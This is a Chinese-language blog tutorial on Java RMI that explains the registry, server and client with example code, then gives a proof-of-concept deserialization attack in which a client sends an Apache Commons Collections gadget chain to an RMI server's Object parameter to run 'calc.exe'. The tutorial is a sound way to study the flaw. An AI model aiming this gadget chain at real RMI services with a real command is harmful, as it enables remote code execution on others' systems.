Java安全之RMI反序列化

Java安全之RMI反序列化

0x00 前言

在分析Fastjson漏洞前,須要瞭解RMI機制和JNDI注入等知識點,因此本篇文來分析一下RMI機制。java

在Java裏面簡單來講使用Java調用遠程Java程序使用的就是RMI,調用C的程序調用的是JNI,調用python程序使用到的是Jython。RMI、JNI、Jython,其實在安全中都能發揮比較大的做用。 JNI在安全裏面的運用就比較大了,既然能夠調用C語言,那麼後面的。。自行腦補。這個暫且忽略不講,後面再說。若是使用或瞭解過python編寫burp的插件的話,對這個Jython也不會陌生,若是說pthon的插件就須要安裝一個Jython的jar包。這個後面再說。這裏主要講RMI,該機制會在反序列化中頻繁運用,例如Weblogic的T3協議的反序列化漏洞。python

概念

在瞭解RMI前還須要弄懂一些概念。apache

RMI(Remote Method Invocation,遠程方法調用)是用Java在JDK1.2中實現的,它大大加強了Java開發分佈式應用的能力。

Java自己對RMI規範的實現默認使用的是JRMP協議。而在Weblogic中對RMI規範的實現使用T3協議。json

JRMP:Java Remote Message Protocol ,Java 遠程消息交換協議。這是運行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都爲Java編寫,就像HTTP協議同樣,規定了客戶端和服務端通訊要知足的規範。

RMI可使用如下協議實現:安全

Java遠程方法協議(JRMP):專門爲RMI設計的協議
Internet Inter-ORB協議(IIOP):基於CORBA實現的跨語言協議服務器

JNDI :Java命名和目錄接口(the Java naming and directory interface,JNDI)是一組在Java應用中訪問命名和目錄服務的API。命名服務將名稱和對象聯繫起來,使得讀者能夠用名稱訪問對象。目錄服務是一種命名服務,在這種服務裏,對象不但有名稱,還有屬性。

0x01 RMI做用

RMI概述

RMI(Remote Method Invocation)爲遠程方法調用,是容許運行在一個Java虛擬機的對象調用運行在另外一個Java虛擬機上的對象的方法。 這兩個虛擬機能夠是運行在相同計算機上的不一樣進程中,也能夠是運行在網絡上的不一樣計算機中。網絡

socket

不一樣於socket,RMI中分爲三大部分:Server、Client、Registry 。分佈式

Server: 	提供遠程的對象
Client:		調用遠程的對象
Registry:	一個註冊表,存放着遠程對象的位置(ip、端口、標識符)

RMI基礎運用

前面也說過RMI能夠調用遠程的一個Java的對象進行本地執行,可是遠程被調用的該類必須繼承java.rmi.Remote接口。ide

  1. 定義一個遠程的接口
package com.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface rmidemo extends Remote {
    public String hello() throws RemoteException;
}

在定義遠程接口的時候須要繼承java.rmi.Remote接口,而且修飾符須要爲public不然遠程調用的時候會報錯。而且定義的方法裏面須要拋出一個RemoteException的異常。

  1. 編寫一個遠程接口的實現類
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{


    protected RemoteHelloWorld() throws RemoteException {
        System.out.println("構造方法");
    }

    public String hello() throws RemoteException {
        System.out.println("hello方法被調用");
        return "hello,world";
    }
}

在編寫該實現類中須要將該類繼承UnicastRemoteObject

  1. 建立服務器實例,而且建立一個註冊表,將須要提供給客戶端的對象註冊到註冊到註冊表中
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class servet {
    public static void main(String[] args) throws RemoteException {
        rmidemo hello = new RemoteHelloWorld();//建立遠程對象
        Registry registry = LocateRegistry.createRegistry(1099);//建立註冊表
        registry.rebind("hello",hello);//將遠程對象註冊到註冊表裏面,而且設置值爲hello

    }
}

到了這一步,簡單的RMI服務端的代碼就寫好了。下面來寫一個客戶端調用該遠程對象的代碼。

  1. 編寫客戶端而且調用遠程對象

    package com.rmi.rmiclient;
    
    
    
    import com.rmi.RemoteHelloWorld;
    import com.rmi.rmidemo;
    
    import java.rmi.NotBoundException;
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class clientdemo {
        public static void main(String[] args) throws RemoteException, NotBoundException {
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);//獲取遠程主機對象
            // 利用註冊表的代理去查詢遠程註冊表中名爲hello的對象
            rmidemo hello = (rmidemo) registry.lookup("hello");
            // 調用遠程方法
            System.out.println(hello.hello());
        }
    }

在這一步須要注意的是,若是遠程的這個方法有參數的話,調用該方法傳入的參數必須是可序列化的。在傳輸中是傳輸序列化後的數據,服務端會對客戶端的輸入進行反序列化。網上有不少分析RMI傳輸流量的文章,能夠去找找看這裏就不作演示了。

0x02 RMI 反序列化攻擊

須要使用到RM進行反序列化攻擊須要兩個條件:接收Object類型的參數、RMI的服務端存在執行命令利用鏈。

這裏對上面得代碼作一個簡單的改寫。

遠程接口代碼:

package com.rmidemo;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
    public String hello(String hello) throws RemoteException;

    void work(Object obj) throws RemoteException;

    void  say() throws RemoteException;

}

須要定義一個object類型的參數方法。

遠程接口實現類代碼:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User {
    protected UserImpl() throws RemoteException {
    }

    protected UserImpl(int port) throws RemoteException {
        super(port);
    }

    protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
        super(port, csf, ssf);
    }


    public String hello(String hello) throws RemoteException {
        return "hello";
    }

    public void work(Object obj) throws RemoteException {
        System.out.println("work被調用了");
    }

    public void say() throws RemoteException {
        System.out.println("say");
    }
}

server 代碼:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException {

        User user = new UserImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("user",user);
        System.out.println("rmi running....");
    }
}

client代碼:

package com.rmidemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) throws Exception {
        String url = "rmi://192.168.20.130:1099/user";
        User userClient = (User) Naming.lookup(url);


        userClient.work(getpayload());

    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);
        return instance;
    }


}

執行客戶端後就會執行咱們設置好要執行的命令,也就是彈出計算器。之因此會被執行的緣由前面也說過RMI在傳輸數據的時候,會被序列化,傳輸的時序列化後的數據,在傳輸完成後再進行反序列化。那麼這時候若是傳輸一個惡意的序列化數據就會進行反序列化的命令執行。至於序列化數據怎麼構造,這個其實分析過CC鏈就一目瞭然了,這裏不作贅述。

參考文章

https://xz.aliyun.com/t/6660#toc-6
https://xz.aliyun.com/t/4711#toc-8

0x03 結尾

在RMI的攻擊手法中,其實不止文中提到的這麼一個,可是這裏就先告一段落先。如今的主要是爲了分析Fastjson漏洞作一個前置準備,很少太深的研究。

相關文章
相關標籤/搜索